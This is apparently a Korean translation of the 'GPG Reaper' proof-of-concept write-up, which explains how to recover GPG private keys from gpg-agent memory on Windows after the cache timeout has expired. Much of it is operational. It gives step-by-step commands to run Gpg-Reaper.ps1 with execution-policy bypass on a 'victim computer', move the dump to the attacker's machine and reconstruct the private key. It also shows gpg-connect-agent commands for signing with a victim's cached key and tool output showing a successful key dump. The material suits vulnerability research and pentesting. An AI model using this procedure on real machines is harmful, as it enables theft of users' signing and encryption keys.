
GPG Reaper - gpg-agent 캐시/메모리에서 GPG 개인 키 획득/탈취/복원
TL;DR: gpg-agent 캐시/메모리에서 GPG 개인 키 얻기/도용/복원
이 POC는 Windows에서 gpg-agent 메모리로부터 GPG 개인 키를 얻는 방법을 보여줍니다.
일반적으로 이는 10분 이내(--default-cache-ttl 값)에만 가능해야 합니다.
불행히도 housekeeping() 함수(캐시 정리를 담당)는 GPG를 사용하는 경우에만 실행됩니다(타이머가 없음).
따라서 일반적인 GPG 사용 사례(예: 파일에 서명한 다음 GUI를 닫고 다른 작업 수행)에서도 비밀번호는 여전히 gpg-agent 메모리에 남아 있습니다(TTL이 만료되었더라도).
현재 세션에 접근할 수 있는 공격자는 비밀번호를 알지 못해도 이 방법을 사용하여 개인 키를 도용할 수 있습니다.
참고: GPG는 버전 2.2.6에서 캐싱 메커니즘을 변경할 예정입니다. 커밋 및 이슈를 확인하세요.

pip install PGPy
만약 다음과 같은 오류가 발생한다면:
TypeError: Error when calling the metaclass bases metaclass conflict: the metaclass of a derived class must be a (non-strict) subclass of the metaclasses of all its bases` when running python script then:
다음 명령을 실행하세요:
pip install six==1.10.0
1. Gpg4Win 3.0.3 설치
2. 명령 프롬프트를 열고 2초 캐시 시간으로 에이전트 시작:
cd c:\Program Files (x86)\GnuPG\bin
taskkill /im gpg-agent.exe /F
gpg-agent.exe --daemon --default-cache-ttl 2
3. Kleopatra를 실행하고 새 키 쌍 생성

4. 예제 테스트 파일에 서명

5. Pinetry가 팝업되어 비밀번호를 묻습니다

6. 4-5단계 반복. 2초 캐시가 만료되었으므로 pinetry가 매번 나타납니다
7. GPG 리퍼 실행
powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile testme.txt
다음과 같은 출력이 나타납니다:
[+] Detect GPG version 3.0.3
[*] Readed jmp bytes: F6-05-E0-F9-45-00-04-0F-85
[*] Readed housekeeping bytes: 55
[+] Find sec key
[+] Check key grip:
[*] uid [ultimate] Adam Nowak <[email protected]>
[+] Found public key
[*] Allocate memory at: 2d00000
[+] Read debug log C:\Users\user\AppData\Local\Temp\gpg_D98F5932C4193BF82B9C773F13899DD586A1DE38_KqALSXPH.txt
[+] Key dumped
[*] Kill background Job
[*] Restore bytes
보시다시피 키를 덤프했습니다. housekeeping 함수를 NOP 처리했기 때문에 가능합니다.
8. 개인 키 복원:
python gpg_reaper.py .\testme.txt
개인 키가 파일에 덤프됩니다:
[+] Dump E057D86EE78A0EED070296C01BC8630ED9C841D0 - Adam Nowak <[email protected]>
GPG-Agent는 프로토콜과 독립적으로 개인 키를 관리하는 데몬입니다.
GUI 인터페이스는 Assuan 프로토콜을 사용하여 에이전트와 통신합니다.
기본적으로 에이전트는 자격 증명을 캐시합니다.
--default-cache-ttl n 옵션은 캐시 항목의 유효 시간을 n초로 설정합니다.
기본값은 600초입니다. 캐시 항목에 접근할 때마다 타이머가 재설정됩니다.
Windows에서 서명 과정은 다음과 같습니다:

여기서 중요한 부분은 housekeeping() 함수로, 만료된 자격 증명을 메모리에서 제거하는 역할을 합니다.
하지만 한 가지 문제가 있습니다: 이 함수는 두 곳(agent_put_cache와 agent_get_cache 내부)에서만 실행됩니다.
즉, agent_put_cache, agent_get_cache 또는 agent_flush_cache를 사용하는 gpg-agent 명령이 실행될 때까지 캐시된 자격 증명은 메모리에서 제거되지 않습니다.
피해자 컴퓨터에서:
powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile out.txt
out.txt를 자신의 컴퓨터로 전송하고 개인 키를 복원:
gpg_reaper.py out.txt
개인 키는 별도의 파일로 덤프됩니다.
GPG가 기본 디렉터리가 아닌 곳에 설치된 경우:
Gpg-Reaper -GpgConnectAgentPath c:\gpg\gpg-connect-agent.exe -GpgAgentPath c:\gpg\gpg-agent.exe -GpgPath c:\gpg\gpg.exe
디버그 메시지를 원하지 않는 경우:
Gpg-Reaper -Verbose $false
침투 테스트 중 GPG가 설치된 컴퓨터에서 셸을 획득했다고 가정해 봅시다.
사용자가 최근에 GPG를 사용했고 캐시가 만료되지 않았다면 다음을 수행할 수 있습니다:
1. 파일에 서명:
c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe 실행
KEYINFO --list
S KEYINFO 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2 D - - - P - - -
SIGKEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2
# SHA512 of the message
SETHASH 10 7bfa95a688924c47c7d22381f20cc926f524beacb13f84e203d4bd8cb6ba2fce81c57a5f059bf3d509926487bde925b3bcee0635e4f7baeba054e5dba696b2bf
PKSIGN
2. 개인 키 내보내기:
c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe 실행
KEYWRAP_KEY --export
EXPORT_KEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2
불행히도 예상대로 작동하지 않으며 비밀번호를 묻습니다.
왜일까요? cmd_export_key() 함수는 agent_key_from_file()을 CACHE_MODE_IGNORE 플래그로 호출하기 때문입니다. 이는 캐시를 사용하지 않으며 매번 비밀번호를 묻습니다.
앞서 살펴본 것처럼 비밀번호를 모르면 gpg-agent를 통해 GPG 키를 내보내는 것은 불가능합니다.
하지만 여기에는 작은 특이점이 있습니다. 에이전트에는 몇 가지 옵션이 있습니다:
1. --debug-level
문제 조사를 위해 디버그 수준을 선택합니다. level은 숫자 값 또는 키워드일 수 있습니다:
guru - 얻을 수 있는 모든 디버그 메시지.
2. --log-file file
모든 로깅 출력을 파일에 추가합니다. 이는 에이전트가 실제로 수행하는 작업을 확인하는 데 매우 유용합니다.
gpg-agent.exe --daemon --debug-level guru --log-file out.txt를 사용하여 에이전트를 실행하고 파일에 서명해 봅시다.